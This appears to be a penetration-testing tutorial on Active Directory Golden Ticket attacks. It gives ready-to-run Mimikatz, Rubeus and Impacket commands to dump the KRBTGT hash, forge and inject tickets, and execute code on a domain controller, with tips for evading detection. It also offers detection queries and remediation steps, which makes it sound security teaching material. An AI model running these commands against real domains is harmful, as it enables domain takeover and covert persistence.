Golden Ticket attack diagram showing forged Kerberos TGT creation and domain-wide persistence

Golden Ticket Attacks and Persistence

Golden Ticket attack using the KRBTGT hash to forge Kerberos TGTs for persistent, privileged domain access.

Jul 14, 2026
2 min read

Introduction

A Golden Ticket is a forged Ticket Granting Ticket (TGT) signed with the KRBTGT account's NTLM hash. The Key Distribution Center (KDC) trusts any TGT it can decrypt with its own KRBTGT key — there is no callback or online validation of ticket creation. The KDC assumes that if the ticket decrypts successfully, it was legitimately issued. This means an attacker who obtains the KRBTGT hash can fabricate TGTs for any account, including non-existent ones, with arbitrary group memberships and ticket lifetimes measured in years.

The attack is post-exploitation. You need domain compromise first — either DCSync rights on a domain account, code execution on a Domain Controller, or access to a copy of NTDS.dit. Once you have the KRBTGT hash, you have a persistence mechanism that survives password resets of every account except KRBTGT itself. Domain Admin accounts can be deleted and recreated; the Golden Ticket remains valid. Group memberships can be stripped; the forged PAC carries whatever groups you specified at ticket creation. The only remediation path is double-resetting KRBTGT, and that breaks Kerberos for all in-flight tickets.

The operational value is longevity. A Golden Ticket forged with a 10-year lifetime provides re-entry into any domain resource without touching LSASS again. Defenders rarely rotate KRBTGT; many environments have never done it. Even when they respond to an incident and rotate it once, the second rotation — required 10 hours later to invalidate all sessions — is frequently missed.

Authorized Testing Only

Golden Ticket techniques constitute unauthorized computer access outside an explicit penetration testing agreement. All examples below assume you hold a signed scope agreement covering the target domain. Do not run these against systems you do not own or have written permission to test.

Impact

  • Unlimited domain persistence: Valid for the ticket lifetime regardless of any user account changes
  • Arbitrary privilege escalation: Forge tickets for any RID including Domain Admins (RID 512), Enterprise Admins (RID 519), or Schema Admins (RID 518)
  • Non-existent account access: Tickets for accounts that do not exist in AD are accepted until PAC validation catches them
  • Cross-domain trust abuse: With SID history (/sids), a child domain KRBTGT hash enables Enterprise Admin access to the forest root
  • Service ticket generation: A valid TGT enables requesting TGS tickets for any service in the domain — effectively bypassing all Kerberos-based access controls
  • Offline ticket creation: No network traffic to the DC during forging; only ticket injection and service requests are visible
  • Survives account lockout: The attacker never authenticates through normal channels post-injection

Technical Details

The Kerberos AS exchange normally works like this: a client sends an AS-REQ, the KDC validates pre-authentication, and returns a TGT encrypted with the KRBTGT key alongside a session key encrypted for the client. The KDC never stores issued tickets — it trusts decryption. When the client presents the TGT in a TGS-REQ, the KDC decrypts it, reads the PAC, and issues a service ticket. The Golden Ticket attack replaces the entire AS exchange by forging a TGT that passes KDC decryption.

The PAC (Privilege Attribute Certificate) embedded in the TGT contains the user's SID, group memberships, and a server signature (signed with KRBTGT key) and KDC signature. Without mandatory PAC validation enabled on services, the KDC signature is not re-verified on every TGS-REQ. Default Windows configurations do not enforce this.

Obtain the KRBTGT Hash via DCSync

DCSync abuses the DS-Replication-Get-Changes-All extended right. Any account with this right — Domain Admins, Enterprise Admins, or explicitly delegated accounts — can replicate directory changes including password hashes without touching LSASS on the DC.

DCSync with Mimikatz
# Run from a machine with domain admin equivalent
privilege::debug
lsadump::dcsync /domain:corp.local /user:krbtgt

Expected output:

[DC] 'corp.local' will be the domain
[DC] 'DC01.corp.local' will be the DC server
Object RDN           : krbtgt

** SAM ACCOUNT **
SAM Username         : krbtgt
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration   :
Password last change : 1/15/2024 3:22:41 AM
Object Security ID   : S-1-5-21-3842939050-3880317879-2865463114-502
Object Relative ID   : 502

Credentials:
  Hash NTLM: 1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d
    ntlm- 0: 1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d
    ntlm- 1: 9z8y7x6w5v4u3t2s1r0q9p8o7n6m5l4k
    lm  - 0: aabbccddeeff00112233445566778899

* Primary:Kerberos-Newer-Keys *
    Default Salt : CORP.LOCALkrbtgt
    Default Iterations : 4096

    Credentials
      aes256_hmac       (4096) : aabbccddeeff00112233445566778899aabbccddeeff00112233445566778899
      aes128_hmac       (4096) : aabbccddeeff00112233445566778899

Capture both the NTLM hash and the AES256 key. Use AES256 for forging to blend with modern environments — RC4/NTLM-forged tickets are easier to detect.

DCSync via Impacket (Linux)
secretsdump.py corp.local/domainadmin:'P@ssw0rd!'@DC01.corp.local -just-dc-user krbtgt

Gather Domain Information

You need the domain SID and FQDN. The domain SID is embedded in every user SID — strip the last component (RID) from any user SID.

Collect domain info
# Domain SID from current user
whoami /user
# Output: CORP\administrator  S-1-5-21-3842939050-3880317879-2865463114-500
# Domain SID: S-1-5-21-3842939050-3880317879-2865463114

# Via PowerShell AD module
(Get-ADDomain).DomainSID.Value

# Via WMIC
wmic useraccount where name='administrator' get sid
Domain info from Linux
# Using crackmapexec
crackmapexec smb DC01.corp.local -u domainadmin -p 'P@ssw0rd!' --sid

# Using ldapsearch
ldapsearch -x -H ldap://DC01.corp.local -D "domainadmin@corp.local" -w 'P@ssw0rd!' -b "DC=corp,DC=local" "(objectClass=domain)" objectSid

Forge the Golden Ticket

With the KRBTGT hash and domain SID, forge the TGT locally — no network traffic to the DC.

Forge Golden Ticket — Mimikatz (RC4)
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-3842939050-3880317879-2865463114 /krbtgt:1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d /id:500 /groups:512,518,519,520,572 /ptt
Forge Golden Ticket — Mimikatz (AES256, preferred)
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-3842939050-3880317879-2865463114 /aes256:aabbccddeeff00112233445566778899aabbccddeeff00112233445566778899 /id:500 /groups:512,518,519 /startoffset:0 /endin:600 /renewmax:10080 /ptt

Key parameters:

  • /user — username embedded in the ticket (does not need to exist)
  • /id — RID; 500 = built-in Administrator, but any RID works
  • /groups — comma-separated group RIDs embedded in the PAC
  • /startoffset — minutes before now the ticket was "issued" (negative value backdates it)
  • /endin — ticket lifetime in minutes (default 10 years if omitted)
  • /renewmax — max renewal lifetime in minutes
  • /ptt — inject directly into current session (alternatively save to file with /ticket:golden.kirbi)
Save ticket to file instead of injecting
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-3842939050-3880317879-2865463114 /krbtgt:1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d /id:500 /ticket:C:\Temp\golden.kirbi

Inject and Use the Ticket

Inject saved ticket
kerberos::ptt C:\Temp\golden.kirbi

# Verify injection
klist

Expected klist output after injection:

Current LogonId is 0:0x3e7

Cached Tickets: (1)

#0>	Client: Administrator @ CORP.LOCAL
	Server: krbtgt/CORP.LOCAL @ CORP.LOCAL
	KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
	Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent
	Start Time: 6/23/2026 14:30:00 (local)
	End Time:   6/23/2036 14:30:00 (local)
	Renew Time: 6/23/2036 14:30:00 (local)
	Session Key Type: RSADSI RC4-HMAC(NT)
	Cache Flags: 0x1 -> PRIMARY
	Kdc Called:

The 10-year End Time is a detection indicator. Match the domain's Maximum ticket lifetime GPO value (typically 10 hours) using /endin:600 to reduce anomaly scoring.

Access domain resources with injected ticket
# List DC filesystem
dir \\DC01.corp.local\C$

# Remote code execution
PsExec.exe \\DC01.corp.local -s cmd.exe

# DCSync again (persistence loop)
lsadump::dcsync /domain:corp.local /all /csv

Attack Tools

Mimikatz kerberos::golden is the canonical Golden Ticket tool. Runs on Windows, requires SeDebugPrivilege.

Full Mimikatz Golden Ticket workflow
# Elevate
privilege::debug

# DCSync for KRBTGT hash
lsadump::dcsync /domain:corp.local /user:krbtgt

# Forge and inject (RC4)
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-3842939050-3880317879-2865463114 /krbtgt:1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d /id:500 /groups:512,519 /ptt

# Forge and inject (AES256 — more stealthy)
kerberos::golden /user:svc-nonexistent /domain:corp.local /sid:S-1-5-21-3842939050-3880317879-2865463114 /aes256:aabbccddeeff00112233445566778899aabbccddeeff00112233445566778899 /id:1337 /groups:512,519 /endin:600 /renewmax:10080 /ptt

# Cross-domain with SID history (child -> forest root)
kerberos::golden /user:Administrator /domain:child.corp.local /sid:S-1-5-21-1111111111-2222222222-3333333333 /krbtgt:<child_krbtgt_hash> /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /id:500 /ptt

# Inject saved ticket
kerberos::ptt golden.kirbi

# List injected tickets
kerberos::list

Rubeus provides a pure .NET Kerberos toolkit. Less likely to be flagged by AV signatures than Mimikatz on some EDR configurations. Requires the KRBTGT hash separately (use Mimikatz or secretsdump for extraction).

Rubeus Golden Ticket workflow
# Forge and inject Golden Ticket (RC4)
Rubeus.exe golden /rc4:1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d /user:Administrator /id:500 /domain:corp.local /sid:S-1-5-21-3842939050-3880317879-2865463114 /groups:512,519 /dc:DC01.corp.local /ptt

# Forge with AES256
Rubeus.exe golden /aes256:aabbccddeeff00112233445566778899aabbccddeeff00112233445566778899 /user:Administrator /id:500 /domain:corp.local /sid:S-1-5-21-3842939050-3880317879-2865463114 /groups:512,519 /dc:DC01.corp.local /ptt

# Forge with realistic lifetime (match domain policy)
Rubeus.exe golden /rc4:1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d /user:Administrator /id:500 /domain:corp.local /sid:S-1-5-21-3842939050-3880317879-2865463114 /startoffset:0 /endin:600 /renewmax:10080 /dc:DC01.corp.local /ptt

# Dump current tickets
Rubeus.exe klist

# Purge all tickets
Rubeus.exe purge

Impacket ticketer.py forges Golden Tickets from Linux. The resulting .ccache file is used with KRB5CCNAME for Impacket tools or converted with ticket_converter.py for Windows use.

Impacket Golden Ticket workflow
# Forge Golden Ticket (RC4)
ticketer.py -nthash 1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d \
  -domain-sid S-1-5-21-3842939050-3880317879-2865463114 \
  -domain corp.local \
  -groups 512,519 \
  Administrator

# Forge Golden Ticket (AES256)
ticketer.py -aesKey aabbccddeeff00112233445566778899aabbccddeeff00112233445566778899 \
  -domain-sid S-1-5-21-3842939050-3880317879-2865463114 \
  -domain corp.local \
  Administrator

# Use the ticket
export KRB5CCNAME=Administrator.ccache

# SMB with Golden Ticket
smbclient.py -k -no-pass corp.local/Administrator@DC01.corp.local

# WMI execution
wmiexec.py -k -no-pass corp.local/Administrator@DC01.corp.local

# SecretsDump via ticket (DCSync equivalent)
secretsdump.py -k -no-pass corp.local/Administrator@DC01.corp.local

# Convert ccache to kirbi for Windows use
ticket_converter.py Administrator.ccache Administrator.kirbi

Detection

Golden Ticket detection requires monitoring for anomalies in Kerberos ticket attributes since the forging itself leaves no DC log entries — the AS exchange never happens.

Event IDs and Log Sources

Event IDSourceIndicator
4769DC Security LogKerberos service ticket request — look for encryption type 0x17 (RC4) in AES-only environments
4768DC Security LogTGT request — absence of 4768 before 4769 suggests ticket injection
4624Member serverLogon type 3 with Kerberos auth for accounts with no prior 4768 on DC
4672Member serverSpecial privileges assigned to accounts not expected to have them
4776DC Security LogNTLM fallback — possible if ticket is rejected

Critical anomalies to hunt:

  • Ticket lifetime exceeding domain Maximum ticket lifetime policy (default 10 hours / 600 min)
  • Ticket Renew Until exceeding Maximum ticket renewal lifetime (default 7 days)
  • Account name in ticket that has no corresponding AD object
  • RC4 encryption type (0x17) on a domain enforcing AES
  • Service ticket requests (4769) with no preceding TGT request (4768) from the same IP within the session window

SIEM Detection Queries

Splunk — Anomalous Kerberos ticket lifetime
index=windows EventCode=4769
| eval ticket_lifetime_hours = (TicketEndTime - TicketStartTime) / 3600
| where ticket_lifetime_hours > 10
| stats count by TargetUserName, ServiceName, ClientAddress, ticket_lifetime_hours
| sort - ticket_lifetime_hours
Splunk — RC4 Kerberos in AES-enforced domain
index=windows EventCode=4769 TicketEncryptionType=0x17
| stats count by TargetUserName, ServiceName, ClientAddress, _time
| where count > 0
Splunk — 4769 without preceding 4768 (injected ticket)
index=windows (EventCode=4768 OR EventCode=4769)
| eval is_tgt=if(EventCode=4768, 1, 0)
| eval is_tgs=if(EventCode=4769, 1, 0)
| stats sum(is_tgt) as tgt_count, sum(is_tgs) as tgs_count by TargetUserName, ClientAddress
| where tgs_count > 0 AND tgt_count = 0
Microsoft Sentinel — Impossible ticket lifetime
SecurityEvent
| where EventID == 4769
| extend TicketOptions = tostring(EventData.TicketOptions)
| extend EncType = tostring(EventData.TicketEncryptionType)
| where EncType == "0x17"
| summarize count() by Account, IpAddress, Computer, bin(TimeGenerated, 1h)
| where count_ > 5

PAC Validation Anomalies

When ValidateKdcPacSignature is enabled (registry or KB5008380), the KDC re-signs the PAC on TGS requests. A forged ticket's PAC signature will fail re-verification, generating a Kerberos error (KRB_AP_ERR_MODIFIED, error code 0x29) logged in System event ID 4 on the KDC.

Enable PAC validation to surface these:

Enable PAC validation
# On DCs and member servers
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters" `
  -Name "ValidateKdcPacSignature" -Value 1 -Type DWord

Behavioral Indicators

  • An account authenticating to resources it has never accessed before, immediately after a privilege escalation indicator on another host
  • LSASS memory access from non-standard processes on DC (precursor to DCSync or credential dump)
  • DS-Replication-Get-Changes-All directory service access events (Event ID 4662) from a non-DC computer account

Remediation

Immediate Response

When a Golden Ticket is suspected, KRBTGT must be reset twice with a minimum of 10 hours between resets. The first reset invalidates tickets encrypted with the previous key. However, the KDC caches the previous KRBTGT password for backward compatibility — a single reset leaves the old key usable until the cached version expires (one Kerberos ticket maximum lifetime, 10 hours by default). The second reset removes that cached key.

Reset KRBTGT Password (First Reset)

KRBTGT first password reset
# Using the Microsoft KRBTGT Reset Script (recommended)
# https://github.com/microsoft/New-KrbtgtKeys.ps1
.\New-KrbtgtKeys.ps1

# Or manually via PowerShell AD module
$NewPassword = ConvertTo-SecureString ([System.Web.Security.Membership]::GeneratePassword(128, 32)) -AsPlainText -Force
Set-ADAccountPassword -Identity krbtgt -NewPassword $NewPassword -Reset

# Record the password change timestamp
Get-ADUser krbtgt -Properties PasswordLastSet | Select-Object PasswordLastSet

After the first reset, verify AD replication has completed across all DCs:

Verify replication
repadmin /replsummary
repadmin /showrepl

Wait Minimum 10 Hours

The wait period must exceed the domain's Maximum ticket lifetime setting. Check the current value:

Check ticket lifetime policy
# From Default Domain Policy
Get-GPO -Name "Default Domain Policy" | Get-GPOReport -ReportType XML |
  Select-String "MaxTicketAge|MaxRenewAge"

# Or check the Kerberos policy directly
[adsi]"LDAP://DC=corp,DC=local" | Select-Object -ExpandProperty MaxTicketAge

Do not skip this wait. If you reset twice in rapid succession, in-flight legitimate Kerberos sessions will break immediately because the DC no longer has the key to validate their tickets.

Reset KRBTGT Password (Second Reset)

KRBTGT second password reset
# Second reset — run same procedure after 10+ hours
$NewPassword2 = ConvertTo-SecureString ([System.Web.Security.Membership]::GeneratePassword(128, 32)) -AsPlainText -Force
Set-ADAccountPassword -Identity krbtgt -NewPassword $NewPassword2 -Reset

# Verify both old hashes are gone
lsadump::dcsync /domain:corp.local /user:krbtgt
# Check that ntlm-1 (previous password) does not match either pre-reset value

Validate and Monitor

Post-reset validation
# Confirm new KRBTGT hash
Get-ADUser krbtgt -Properties PasswordLastSet, msDS-KeyVersionNumber |
  Select-Object PasswordLastSet, msDS-KeyVersionNumber

# Force clients to get new tickets (purge cached tickets on endpoints)
# Via GPO or logoff/logon cycle

# Monitor for failed authentications during transition
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4771;StartTime=(Get-Date).AddHours(-1)} |
  Select-Object TimeCreated, @{N='User';E={$_.Properties[0].Value}}, @{N='FailCode';E={$_.Properties[4].Value}}

Long-Term Hardening

Enforce AES encryption and disable RC4:

Disable RC4 for Kerberos
# Via Group Policy: Computer Configuration > Windows Settings > Security Settings >
# Local Policies > Security Options >
# "Network security: Configure encryption types allowed for Kerberos"
# Enable: AES128_HMAC_SHA1, AES256_HMAC_SHA1, Future encryption types
# Disable: DES_CBC_CRC, DES_CBC_MD5, RC4_HMAC_MD5

# Or via registry on all DCs and member servers
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Kerberos\Parameters" `
  -Name "SupportedEncryptionTypes" -Value 0x7FFFFFF8 -Type DWord

Restrict DCSync permissions:

Audit replication rights
# Find accounts with DS-Replication-Get-Changes-All
(Get-ACL "AD:\DC=corp,DC=local").Access |
  Where-Object {$_.ActiveDirectoryRights -like "*ExtendedRight*" -and $_.ObjectType -eq "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"} |
  Select-Object IdentityReference, ActiveDirectoryRights

Enforce Protected Users security group:

Add privileged accounts to Protected Users
# Protected Users disables NTLM, DES, RC4 for members
# Enforces AES, limits TGT lifetime to 4 hours
Add-ADGroupMember -Identity "Protected Users" -Members Administrator, "Domain Admins" -Confirm:$false

Enable Credential Guard on DCs and privileged workstations to prevent LSASS credential extraction:

Enable Credential Guard
# Requires Secure Boot + UEFI + Virtualization-based security
# Via Group Policy: Computer Configuration > Administrative Templates >
# System > Device Guard > Turn On Virtualization Based Security
# Credential Guard Configuration: Enabled with UEFI lock

References

MITRE ATT&CK Techniques

Tools Documentation

Next Steps

On this page